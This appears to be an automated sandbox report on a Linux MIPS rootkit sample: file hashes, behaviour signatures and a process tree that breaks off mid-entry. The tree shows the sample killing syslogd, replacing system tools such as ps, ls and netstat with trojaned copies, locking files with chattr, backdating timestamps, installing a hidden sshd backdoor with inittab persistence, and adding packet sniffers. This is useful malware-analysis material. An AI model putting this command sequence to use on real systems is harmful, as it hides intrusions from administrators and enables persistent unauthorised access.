Analysis

  • max time kernel
    39s
  • max time network
    40s
  • platform
    debian-9_mipsel
  • resource
    debian9-mipsel-20240611-en
  • resource tags

    arch:mipselimage:debian9-mipsel-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
  • submitted
    15-07-2024 23:17

General

  • Target

    4bd599176fbaab489642f3fafb083862_JaffaCakes118

  • Size

    23KB

  • MD5

    4bd599176fbaab489642f3fafb083862

  • SHA1

    0e04611e74f58029492a2df576844dc8c4529e4e

  • SHA256

    c7d3a16ba29abcf5261b66af753f44124fcb3a303059f7cee04334983a3b6d16

  • SHA512

    d2be3727188dfffaee6b96296f0404e8e208a83cb83fbcab4d6eb833b9305b844dffdf73af61c6c63ab607d38df6dfe43c83b1935d2fb28039320cf6bb780645

  • SSDEEP

    384:z7WoIqPIkK+slvwzUvEEa2cC/bvynigxz9DYnY2c68:5IqAkK+slvwzF2CDYnYhf

Score
7/10

Malware Config

Signatures

  • Executes dropped EXE 1 IoCs
  • Attempts to change immutable files 22 IoCs

    Modifies inode attributes on the filesystem to allow changing of immutable files.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Write file to user bin folder 1 TTPs 1 IoCs
  • Checks CPU configuration 1 TTPs 1 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

  • Reads CPU attributes 1 TTPs 1 IoCs
  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 8 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/4bd599176fbaab489642f3fafb083862_JaffaCakes118
    /tmp/4bd599176fbaab489642f3fafb083862_JaffaCakes118
    1⤵
    • Write file to user bin folder
    • Writes file to tmp directory
    PID:711
    • /usr/bin/whoami
      whoami
      2⤵
        PID:718
      • /bin/tar
        tar zxf ./bin.tgz
        2⤵
          PID:720
        • /bin/tar
          tar zxf ./conf.tgz
          2⤵
            PID:725
          • /bin/tar
            tar zxf ./lib.tgz
            2⤵
              PID:729
            • /bin/tar
              tar zxf ./utilz.tgz
              2⤵
                PID:733
              • /bin/tar
                tar zxf ./sshd.tgz
                2⤵
                  PID:740
                • /bin/rm
                  rm -rf ./sshd.tgz
                  2⤵
                    PID:744
                  • /bin/rm
                    rm -rf bin.tgz conf.tgz lib.tgz utilz.tgz
                    2⤵
                      PID:746
                    • /bin/sleep
                      sleep 2
                      2⤵
                        PID:747
                      • /usr/bin/killall
                        killall -9 syslogd
                        2⤵
                        • Reads runtime system information
                        PID:753
                      • /bin/date
                        date "+%S"
                        2⤵
                          PID:754
                        • /bin/sleep
                          sleep 2
                          2⤵
                            PID:755
                          • /bin/hostname
                            hostname -f
                            2⤵
                              PID:756
                            • /bin/grep
                              grep -v "^#" /etc/syslog.conf
                              2⤵
                                PID:758
                              • /bin/grep
                                grep -v "^\$"
                                2⤵
                                  PID:759
                                • /bin/grep
                                  grep "@"
                                  2⤵
                                    PID:760
                                  • /usr/bin/cut
                                    cut -d "@" -f 2
                                    2⤵
                                      PID:761
                                    • /bin/uname
                                      uname -n
                                      2⤵
                                        PID:762
                                      • /bin/mv
                                        mv lib/libproc.a /lib/
                                        2⤵
                                          PID:763
                                        • /bin/mv
                                          mv lib/libproc.so.2.0.6 /lib/
                                          2⤵
                                            PID:764
                                          • /sbin/ldconfig
                                            /sbin/ldconfig
                                            2⤵
                                              PID:765
                                            • /usr/bin/md5sum
                                              md5sum
                                              2⤵
                                                PID:767
                                              • /usr/bin/touch
                                                touch -acmr /bin/ls /etc/sh.conf
                                                2⤵
                                                  PID:769
                                                • /bin/chown
                                                  chown -f root:root /etc/sh.conf
                                                  2⤵
                                                    PID:770
                                                  • /usr/bin/chattr
                                                    chattr +isa /etc/sh.conf
                                                    2⤵
                                                      PID:772
                                                    • /bin/rm
                                                      rm -rf /tmp/bin/.sh/shdcf2
                                                      2⤵
                                                        PID:776
                                                      • /bin/mv
                                                        mv /tmp/bin/.sh/sshd_config /tmp/bin/.sh/shdcf
                                                        2⤵
                                                          PID:778
                                                        • /bin/mv
                                                          mv /tmp/conf/lidps1.so /lib/lidps1.so
                                                          2⤵
                                                            PID:780
                                                          • /usr/bin/touch
                                                            touch -acmr /bin/ls /lib/lidps1.so
                                                            2⤵
                                                              PID:781
                                                            • /usr/bin/touch
                                                              touch -acmr /bin/ls "/tmp/conf/*"
                                                              2⤵
                                                                PID:782
                                                              • /bin/mv
                                                                mv "/tmp/conf/*" /usr/include/
                                                                2⤵
                                                                  PID:784
                                                                • /bin/mkdir
                                                                  mkdir /lib/libsh.so
                                                                  2⤵
                                                                    PID:786
                                                                  • /usr/bin/touch
                                                                    touch -acmr /bin/ls /lib/libsh.so
                                                                    2⤵
                                                                      PID:787
                                                                    • /bin/mkdir
                                                                      mkdir /usr/lib/libsh
                                                                      2⤵
                                                                        PID:788
                                                                      • /usr/bin/touch
                                                                        touch -acmr /bin/ls /usr/lib/libsh
                                                                        2⤵
                                                                          PID:790
                                                                        • /bin/mv
                                                                          mv ".sh/*" /lib/libsh.so/
                                                                          2⤵
                                                                            PID:792
                                                                          • /bin/mv
                                                                            mv .sh/.bashrc /usr/lib/libsh
                                                                            2⤵
                                                                              PID:793
                                                                            • /bin/mv
                                                                              mv /lib/libsh.so/sshd /sbin/ttyload
                                                                              2⤵
                                                                                PID:795
                                                                              • /bin/chmod
                                                                                chmod a+xr /sbin/ttyload
                                                                                2⤵
                                                                                  PID:797
                                                                                • /bin/chmod
                                                                                  chmod o-w /sbin/ttyload
                                                                                  2⤵
                                                                                    PID:798
                                                                                  • /usr/bin/touch
                                                                                    touch -acmr /bin/ls /sbin/ttyload
                                                                                    2⤵
                                                                                      PID:800
                                                                                    • /usr/bin/chattr
                                                                                      chattr +isa /sbin/ttyload
                                                                                      2⤵
                                                                                        PID:802
                                                                                      • /bin/pidof
                                                                                        pidof ttyload
                                                                                        2⤵
                                                                                        • Reads runtime system information
                                                                                        PID:803
                                                                                      • /bin/mv
                                                                                        mv /tmp/bin/ttymon /sbin/ttymon
                                                                                        2⤵
                                                                                          PID:805
                                                                                        • /bin/chmod
                                                                                          chmod a+xr /sbin/ttymon
                                                                                          2⤵
                                                                                            PID:807
                                                                                          • /usr/bin/touch
                                                                                            touch -acmr /bin/ls /sbin/ttymon
                                                                                            2⤵
                                                                                              PID:808
                                                                                            • /usr/bin/chattr
                                                                                              chattr +isa /sbin/ttymon
                                                                                              2⤵
                                                                                                PID:809
                                                                                              • /bin/pidof
                                                                                                pidof ttymon
                                                                                                2⤵
                                                                                                • Reads runtime system information
                                                                                                PID:811
                                                                                              • /bin/cp
                                                                                                cp /bin/bash /lib/libsh.so
                                                                                                2⤵
                                                                                                  PID:813
                                                                                                • /usr/bin/chattr
                                                                                                  chattr -isa /etc/inittab
                                                                                                  2⤵
                                                                                                  • Attempts to change immutable files
                                                                                                  PID:814
                                                                                                • /bin/grep
                                                                                                  grep -v ttyload
                                                                                                  2⤵
                                                                                                    PID:817
                                                                                                  • /bin/cat
                                                                                                    cat /etc/inittab
                                                                                                    2⤵
                                                                                                      PID:816
                                                                                                    • /bin/grep
                                                                                                      grep -v getty
                                                                                                      2⤵
                                                                                                        PID:818
                                                                                                      • /bin/cat
                                                                                                        cat /etc/inittab
                                                                                                        2⤵
                                                                                                          PID:820
                                                                                                        • /bin/grep
                                                                                                          grep getty
                                                                                                          2⤵
                                                                                                            PID:821
                                                                                                          • /bin/cat
                                                                                                            cat /tmp/.init2
                                                                                                            2⤵
                                                                                                              PID:822
                                                                                                            • /usr/bin/touch
                                                                                                              touch -acmr /bin/ls /usr/sbin/ttyload
                                                                                                              2⤵
                                                                                                                PID:824
                                                                                                              • /bin/chmod
                                                                                                                chmod +x /usr/sbin/ttyload
                                                                                                                2⤵
                                                                                                                  PID:825
                                                                                                                • /usr/bin/chattr
                                                                                                                  chattr +isa /usr/sbin/ttyload
                                                                                                                  2⤵
                                                                                                                  • Attempts to change immutable files
                                                                                                                  PID:827
                                                                                                                • /usr/sbin/ttyload
                                                                                                                  /usr/sbin/ttyload
                                                                                                                  2⤵
                                                                                                                  • Executes dropped EXE
                                                                                                                  PID:828
                                                                                                                  • /sbin/ttyload
                                                                                                                    /sbin/ttyload -q
                                                                                                                    3⤵
                                                                                                                      PID:829
                                                                                                                    • /sbin/ttymon
                                                                                                                      /sbin/ttymon
                                                                                                                      3⤵
                                                                                                                        PID:830
                                                                                                                    • /usr/bin/touch
                                                                                                                      touch -amcr /etc/inittab /tmp/.init1
                                                                                                                      2⤵
                                                                                                                        PID:831
                                                                                                                      • /bin/mv
                                                                                                                        mv -f /tmp/.init1 /etc/inittab
                                                                                                                        2⤵
                                                                                                                          PID:833
                                                                                                                        • /bin/rm
                                                                                                                          rm -rf /tmp/.init2
                                                                                                                          2⤵
                                                                                                                            PID:834
                                                                                                                          • /bin/grep
                                                                                                                            grep ttyload /etc/inittab
                                                                                                                            2⤵
                                                                                                                              PID:836
                                                                                                                            • /usr/bin/md5sum
                                                                                                                              /usr/bin/md5sum /bin/ps
                                                                                                                              2⤵
                                                                                                                                PID:837
                                                                                                                              • /usr/bin/md5sum
                                                                                                                                /usr/bin/md5sum /bin/ls
                                                                                                                                2⤵
                                                                                                                                  PID:838
                                                                                                                                • /usr/bin/md5sum
                                                                                                                                  /usr/bin/md5sum /usr/bin/find
                                                                                                                                  2⤵
                                                                                                                                    PID:840
                                                                                                                                  • /usr/bin/md5sum
                                                                                                                                    /usr/bin/md5sum /usr/bin/top
                                                                                                                                    2⤵
                                                                                                                                      PID:842
                                                                                                                                    • /usr/bin/md5sum
                                                                                                                                      /usr/bin/md5sum /usr/bin/md5sum
                                                                                                                                      2⤵
                                                                                                                                        PID:843
                                                                                                                                      • /tmp/encrypt
                                                                                                                                        ./encrypt -e .shmd5 /dev/srd0
                                                                                                                                        2⤵
                                                                                                                                          PID:844
                                                                                                                                        • /usr/bin/touch
                                                                                                                                          touch -acmr /bin/ls /dev/srd0
                                                                                                                                          2⤵
                                                                                                                                            PID:845
                                                                                                                                          • /usr/bin/chattr
                                                                                                                                            chattr a+r /dev/srd0
                                                                                                                                            2⤵
                                                                                                                                            • Attempts to change immutable files
                                                                                                                                            PID:847
                                                                                                                                          • /bin/chown
                                                                                                                                            chown -f root:root /dev/srd0
                                                                                                                                            2⤵
                                                                                                                                              PID:849
                                                                                                                                            • /bin/rm
                                                                                                                                              rm -rf .shmd5
                                                                                                                                              2⤵
                                                                                                                                                PID:850
                                                                                                                                              • /usr/bin/touch
                                                                                                                                                touch -acmr /sbin/ifconfig ifconfig
                                                                                                                                                2⤵
                                                                                                                                                  PID:851
                                                                                                                                                • /usr/bin/touch
                                                                                                                                                  touch -acmr /bin/ps ps
                                                                                                                                                  2⤵
                                                                                                                                                    PID:853
                                                                                                                                                  • /usr/bin/touch
                                                                                                                                                    touch -acmr /bin/ls ls
                                                                                                                                                    2⤵
                                                                                                                                                      PID:854
                                                                                                                                                    • /usr/bin/touch
                                                                                                                                                      touch -acmr /bin/netstat netstat
                                                                                                                                                      2⤵
                                                                                                                                                        PID:856
                                                                                                                                                      • /usr/bin/touch
                                                                                                                                                        touch -acmr /usr/bin/find find
                                                                                                                                                        2⤵
                                                                                                                                                          PID:858
                                                                                                                                                        • /usr/bin/touch
                                                                                                                                                          touch -acmr /usr/bin/top top
                                                                                                                                                          2⤵
                                                                                                                                                            PID:859
                                                                                                                                                          • /usr/bin/touch
                                                                                                                                                            touch -acmr /usr/sbin/lsof lsof
                                                                                                                                                            2⤵
                                                                                                                                                              PID:861
                                                                                                                                                            • /usr/bin/touch
                                                                                                                                                              touch -acmr /sbin/syslogd syslogd
                                                                                                                                                              2⤵
                                                                                                                                                                PID:862
                                                                                                                                                              • /usr/bin/touch
                                                                                                                                                                touch -acmr /usr/bin/slocate slocate
                                                                                                                                                                2⤵
                                                                                                                                                                  PID:863
                                                                                                                                                                • /usr/bin/touch
                                                                                                                                                                  touch -acmr /usr/bin/dir dir
                                                                                                                                                                  2⤵
                                                                                                                                                                    PID:865
                                                                                                                                                                  • /usr/bin/touch
                                                                                                                                                                    touch -acmr /usr/bin/md5sum md5sum
                                                                                                                                                                    2⤵
                                                                                                                                                                      PID:866
                                                                                                                                                                    • /usr/bin/touch
                                                                                                                                                                      touch -acmr /usr/bin/pstree pstree
                                                                                                                                                                      2⤵
                                                                                                                                                                        PID:868
                                                                                                                                                                      • /bin/mkdir
                                                                                                                                                                        mkdir /usr/lib/libsh/.backup
                                                                                                                                                                        2⤵
                                                                                                                                                                          PID:871
                                                                                                                                                                        • /usr/bin/chattr
                                                                                                                                                                          chattr -isa /bin/ps
                                                                                                                                                                          2⤵
                                                                                                                                                                          • Attempts to change immutable files
                                                                                                                                                                          PID:873
                                                                                                                                                                        • /bin/cp
                                                                                                                                                                          cp /bin/ps /usr/lib/libsh/.backup
                                                                                                                                                                          2⤵
                                                                                                                                                                            PID:875
                                                                                                                                                                          • /bin/mv
                                                                                                                                                                            mv -f ps /bin/ps
                                                                                                                                                                            2⤵
                                                                                                                                                                              PID:876
                                                                                                                                                                            • /usr/bin/chattr
                                                                                                                                                                              chattr +isa /bin/ps
                                                                                                                                                                              2⤵
                                                                                                                                                                              • Attempts to change immutable files
                                                                                                                                                                              PID:878
                                                                                                                                                                            • /usr/bin/chattr
                                                                                                                                                                              chattr -isa /sbin/ifconfig
                                                                                                                                                                              2⤵
                                                                                                                                                                              • Attempts to change immutable files
                                                                                                                                                                              PID:879
                                                                                                                                                                            • /bin/cp
                                                                                                                                                                              cp /sbin/ifconfig /usr/lib/libsh/.backup
                                                                                                                                                                              2⤵
                                                                                                                                                                                PID:881
                                                                                                                                                                              • /bin/mv
                                                                                                                                                                                mv -f ifconfig /sbin/ifconfig
                                                                                                                                                                                2⤵
                                                                                                                                                                                  PID:882
                                                                                                                                                                                • /usr/bin/chattr
                                                                                                                                                                                  chattr +isa /sbin/ifconfig
                                                                                                                                                                                  2⤵
                                                                                                                                                                                  • Attempts to change immutable files
                                                                                                                                                                                  PID:885
                                                                                                                                                                                • /usr/bin/chattr
                                                                                                                                                                                  chattr -isa /bin/netstat
                                                                                                                                                                                  2⤵
                                                                                                                                                                                  • Attempts to change immutable files
                                                                                                                                                                                  PID:887
                                                                                                                                                                                • /bin/cp
                                                                                                                                                                                  cp /bin/netstat /usr/lib/libsh/.backup
                                                                                                                                                                                  2⤵
                                                                                                                                                                                    PID:888
                                                                                                                                                                                  • /bin/mv
                                                                                                                                                                                    mv -f netstat /bin/netstat
                                                                                                                                                                                    2⤵
                                                                                                                                                                                      PID:890
                                                                                                                                                                                    • /usr/bin/chattr
                                                                                                                                                                                      chattr +isa /bin/netstat
                                                                                                                                                                                      2⤵
                                                                                                                                                                                      • Attempts to change immutable files
                                                                                                                                                                                      PID:891
                                                                                                                                                                                    • /usr/bin/chattr
                                                                                                                                                                                      chattr -isa /usr/bin/top
                                                                                                                                                                                      2⤵
                                                                                                                                                                                      • Attempts to change immutable files
                                                                                                                                                                                      PID:892
                                                                                                                                                                                    • /bin/cp
                                                                                                                                                                                      cp /usr/bin/top /usr/lib/libsh/.backup
                                                                                                                                                                                      2⤵
                                                                                                                                                                                        PID:893
                                                                                                                                                                                      • /bin/mv
                                                                                                                                                                                        mv -f top /usr/bin/top
                                                                                                                                                                                        2⤵
                                                                                                                                                                                          PID:895
                                                                                                                                                                                        • /usr/bin/chattr
                                                                                                                                                                                          chattr +isa /usr/bin/top
                                                                                                                                                                                          2⤵
                                                                                                                                                                                          • Attempts to change immutable files
                                                                                                                                                                                          PID:896
                                                                                                                                                                                        • /usr/bin/chattr
                                                                                                                                                                                          chattr -isa /bin/ls
                                                                                                                                                                                          2⤵
                                                                                                                                                                                          • Attempts to change immutable files
                                                                                                                                                                                          PID:897
                                                                                                                                                                                        • /bin/cp
                                                                                                                                                                                          cp /bin/ls /usr/lib/libsh/.backup
                                                                                                                                                                                          2⤵
                                                                                                                                                                                            PID:898
                                                                                                                                                                                          • /bin/mv
                                                                                                                                                                                            mv -f ls /bin/ls
                                                                                                                                                                                            2⤵
                                                                                                                                                                                              PID:899
                                                                                                                                                                                            • /usr/bin/chattr
                                                                                                                                                                                              chattr +isa /bin/ls
                                                                                                                                                                                              2⤵
                                                                                                                                                                                              • Attempts to change immutable files
                                                                                                                                                                                              PID:900
                                                                                                                                                                                            • /usr/bin/chattr
                                                                                                                                                                                              chattr -isa /usr/bin/find
                                                                                                                                                                                              2⤵
                                                                                                                                                                                              • Attempts to change immutable files
                                                                                                                                                                                              PID:901
                                                                                                                                                                                            • /bin/cp
                                                                                                                                                                                              cp /usr/bin/find /usr/lib/libsh/.backup
                                                                                                                                                                                              2⤵
                                                                                                                                                                                                PID:902
                                                                                                                                                                                              • /bin/mv
                                                                                                                                                                                                mv -f find /usr/bin/find
                                                                                                                                                                                                2⤵
                                                                                                                                                                                                  PID:903
                                                                                                                                                                                                • /usr/bin/chattr
                                                                                                                                                                                                  chattr +isa /usr/bin/find
                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                  • Attempts to change immutable files
                                                                                                                                                                                                  PID:904
                                                                                                                                                                                                • /usr/bin/chattr
                                                                                                                                                                                                  chattr -isa /usr/bin/pstree
                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                  • Attempts to change immutable files
                                                                                                                                                                                                  PID:905
                                                                                                                                                                                                • /bin/cp
                                                                                                                                                                                                  cp /usr/bin/pstree /usr/lib/libsh/.backup
                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                  • Reads runtime system information
                                                                                                                                                                                                  PID:906
                                                                                                                                                                                                • /bin/mv
                                                                                                                                                                                                  mv -f pstree /usr/bin/pstree
                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                    PID:907
                                                                                                                                                                                                  • /usr/bin/chattr
                                                                                                                                                                                                    chattr +isa /usr/bin/pstree
                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                    • Attempts to change immutable files
                                                                                                                                                                                                    PID:908
                                                                                                                                                                                                  • /usr/bin/chattr
                                                                                                                                                                                                    chattr -isa /usr/bin/md5sum
                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                    • Attempts to change immutable files
                                                                                                                                                                                                    PID:909
                                                                                                                                                                                                  • /bin/cp
                                                                                                                                                                                                    cp /usr/bin/md5sum /usr/lib/libsh/.backup
                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                      PID:910
                                                                                                                                                                                                    • /bin/mv
                                                                                                                                                                                                      mv -f md5sum /usr/bin/md5sum
                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                        PID:911
                                                                                                                                                                                                      • /usr/bin/chattr
                                                                                                                                                                                                        chattr +isa /usr/bin/md5sum
                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                        • Attempts to change immutable files
                                                                                                                                                                                                        PID:912
                                                                                                                                                                                                      • /usr/bin/touch
                                                                                                                                                                                                        touch -acmr /bin/ls /tmp/utilz
                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                          PID:913
                                                                                                                                                                                                        • /usr/bin/touch
                                                                                                                                                                                                          touch -acmr /bin/ls "/tmp/utilz/*"
                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                            PID:914
                                                                                                                                                                                                          • /bin/mv
                                                                                                                                                                                                            mv /tmp/utilz /usr/lib/libsh/
                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                            • Reads runtime system information
                                                                                                                                                                                                            PID:915
                                                                                                                                                                                                          • /bin/mkdir
                                                                                                                                                                                                            mkdir /usr/lib/libsh/.sniff
                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                              PID:916
                                                                                                                                                                                                            • /bin/mv
                                                                                                                                                                                                              mv /tmp/bin/shsniff /usr/lib/libsh/.sniff/shsniff
                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                PID:917
                                                                                                                                                                                                              • /bin/mv
                                                                                                                                                                                                                mv /tmp/bin/shp /usr/lib/libsh/.sniff/shp
                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                  PID:918
                                                                                                                                                                                                                • /bin/mv
                                                                                                                                                                                                                  mv /tmp/bin/shsb /usr/lib/libsh/shsb
                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                    PID:919
                                                                                                                                                                                                                  • /bin/mv
                                                                                                                                                                                                                    mv /tmp/bin/hide /usr/lib/libsh/hide
                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                      PID:920
                                                                                                                                                                                                                    • /usr/bin/touch
                                                                                                                                                                                                                      touch -acmr /bin/ls /usr/lib/libsh/.sniff/shsniff
                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                        PID:921
                                                                                                                                                                                                                      • /usr/bin/touch
                                                                                                                                                                                                                        touch -acmr /bin/ls /usr/lib/libsh/.sniff/shp
                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                          PID:922
                                                                                                                                                                                                                        • /usr/bin/touch
                                                                                                                                                                                                                          touch -acmr /bin/ls /usr/lib/libsh/shsb
                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                            PID:924
                                                                                                                                                                                                                          • /usr/bin/touch
                                                                                                                                                                                                                            touch -acmr /bin/ls /usr/lib/libsh/hide
                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                              PID:927
                                                                                                                                                                                                                            • /bin/chmod
                                                                                                                                                                                                                              chmod +x "/usr/lib/libsh/.sniff/*"
                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                PID:928
                                                                                                                                                                                                                              • /bin/chmod
                                                                                                                                                                                                                                chmod +x /usr/lib/libsh/shsb
                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                  PID:929
                                                                                                                                                                                                                                • /bin/chmod
                                                                                                                                                                                                                                  chmod +x /usr/lib/libsh/hide
                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                    PID:930
                                                                                                                                                                                                                                  • /bin/ps
                                                                                                                                                                                                                                    ps aux
                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                    • Reads CPU attributes
                                                                                                                                                                                                                                    • Reads runtime system information
                                                                                                                                                                                                                                    PID:931
                                                                                                                                                                                                                                  • /bin/cat
                                                                                                                                                                                                                                    cat /tmp/.procs
                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                      PID:933
                                                                                                                                                                                                                                    • /bin/grep
                                                                                                                                                                                                                                      grep named
                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                        PID:934
                                                                                                                                                                                                                                      • /bin/cat
                                                                                                                                                                                                                                        cat /tmp/.procs
                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                          PID:936
                                                                                                                                                                                                                                        • /bin/grep
                                                                                                                                                                                                                                          grep smbd
                                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                                            PID:937
                                                                                                                                                                                                                                          • /bin/cat
                                                                                                                                                                                                                                            cat /tmp/.procs
                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                              PID:939
                                                                                                                                                                                                                                            • /bin/grep
                                                                                                                                                                                                                                              grep rpc.statd
                                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                                PID:940
                                                                                                                                                                                                                                              • /bin/rm
                                                                                                                                                                                                                                                rm -rf /tmp/.procs
                                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                                  PID:941
                                                                                                                                                                                                                                                • /bin/cat
                                                                                                                                                                                                                                                  cat /tmp/.stats
                                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                                    PID:944
                                                                                                                                                                                                                                                  • /bin/grep
                                                                                                                                                                                                                                                    grep 443
                                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                                      PID:945
                                                                                                                                                                                                                                                    • /bin/grep
                                                                                                                                                                                                                                                      grep http
                                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                                        PID:946
                                                                                                                                                                                                                                                      • /bin/rm
                                                                                                                                                                                                                                                        rm -rf /tmp/.stats
                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                          PID:947
                                                                                                                                                                                                                                                        • /bin/mkdir
                                                                                                                                                                                                                                                          mkdir /usr/lib/libsh/.owned
                                                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                                                            PID:948
                                                                                                                                                                                                                                                          • /usr/bin/chattr
                                                                                                                                                                                                                                                            chattr +isa /usr/lib/libsh
                                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                                            • Attempts to change immutable files
                                                                                                                                                                                                                                                            PID:949
                                                                                                                                                                                                                                                          • /usr/bin/chattr
                                                                                                                                                                                                                                                            chattr +isa /lib/libsh.so
                                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                                            • Attempts to change immutable files
                                                                                                                                                                                                                                                            PID:950
                                                                                                                                                                                                                                                          • /usr/bin/killall
                                                                                                                                                                                                                                                            killall -9 -q nscd
                                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                                            • Reads runtime system information
                                                                                                                                                                                                                                                            PID:951
                                                                                                                                                                                                                                                          • /usr/bin/killall
                                                                                                                                                                                                                                                            killall -9 -q xntps
                                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                                            • Reads runtime system information
                                                                                                                                                                                                                                                            PID:952
                                                                                                                                                                                                                                                          • /usr/bin/killall
                                                                                                                                                                                                                                                            killall -9 -q mountd
                                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                                            • Reads runtime system information
                                                                                                                                                                                                                                                            PID:953
                                                                                                                                                                                                                                                          • /usr/bin/killall
                                                                                                                                                                                                                                                            killall -9 -q mserv
                                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                                            • Reads runtime system information
                                                                                                                                                                                                                                                            PID:954
                                                                                                                                                                                                                                                          • /usr/bin/killall
                                                                                                                                                                                                                                                            killall -9 -q psybnc
                                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                                              PID:955
                                                                                                                                                                                                                                                            • /usr/bin/killall
                                                                                                                                                                                                                                                              killall -9 -q t0rns
                                                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                                              • Reads runtime system information
                                                                                                                                                                                                                                                              PID:956
                                                                                                                                                                                                                                                            • /usr/bin/killall
                                                                                                                                                                                                                                                              killall -9 -q linsniffer
                                                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                                              • Reads runtime system information
                                                                                                                                                                                                                                                              PID:957
                                                                                                                                                                                                                                                            • /usr/bin/killall
                                                                                                                                                                                                                                                              killall -9 -q sniffer
                                                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                                              • Reads runtime system information
                                                                                                                                                                                                                                                              PID:958
                                                                                                                                                                                                                                                            • /usr/bin/killall
                                                                                                                                                                                                                                                              killall -9 -q lpsched
                                                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                                              • Reads runtime system information
                                                                                                                                                                                                                                                              PID:959
                                                                                                                                                                                                                                                            • /usr/bin/killall
                                                                                                                                                                                                                                                              killall -9 -q sniff
                                                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                                              • Reads runtime system information
                                                                                                                                                                                                                                                              PID:960
                                                                                                                                                                                                                                                            • /usr/bin/killall
                                                                                                                                                                                                                                                              killall -9 -q sn1f
                                                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                                              • Reads runtime system information
                                                                                                                                                                                                                                                              PID:961
                                                                                                                                                                                                                                                            • /usr/bin/killall
                                                                                                                                                                                                                                                              killall -9 -q sshd2
                                                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                                              • Reads runtime system information
                                                                                                                                                                                                                                                              PID:962
                                                                                                                                                                                                                                                            • /usr/bin/killall
                                                                                                                                                                                                                                                              killall -9 -q xsf
                                                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                                              • Reads runtime system information
                                                                                                                                                                                                                                                              PID:963
                                                                                                                                                                                                                                                            • /usr/bin/killall
                                                                                                                                                                                                                                                              killall -9 -q xchk
                                                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                                              • Reads runtime system information
                                                                                                                                                                                                                                                              PID:964
                                                                                                                                                                                                                                                            • /usr/bin/killall
                                                                                                                                                                                                                                                              killall -9 -q ssh2d
                                                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                                              • Reads runtime system information
                                                                                                                                                                                                                                                              PID:965
                                                                                                                                                                                                                                                            • /sbin/ifconfig
                                                                                                                                                                                                                                                              /sbin/ifconfig eth0
                                                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                                                PID:967
                                                                                                                                                                                                                                                              • /bin/grep
                                                                                                                                                                                                                                                                grep "inet addr:"
                                                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                                                  PID:968
                                                                                                                                                                                                                                                                • /usr/bin/cut
                                                                                                                                                                                                                                                                  cut -c6-
                                                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                                                    PID:970
                                                                                                                                                                                                                                                                  • /usr/bin/awk
                                                                                                                                                                                                                                                                    awk -F " " " {print \$2} "
                                                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                                                      PID:969
                                                                                                                                                                                                                                                                    • /bin/hostname
                                                                                                                                                                                                                                                                      hostname -f
                                                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                                                        PID:971
                                                                                                                                                                                                                                                                      • /bin/uname
                                                                                                                                                                                                                                                                        uname -a
                                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                                          PID:972
                                                                                                                                                                                                                                                                        • /usr/bin/awk
                                                                                                                                                                                                                                                                          awk "{ print \$11 }"
                                                                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                                                                            PID:973
                                                                                                                                                                                                                                                                          • /bin/cat
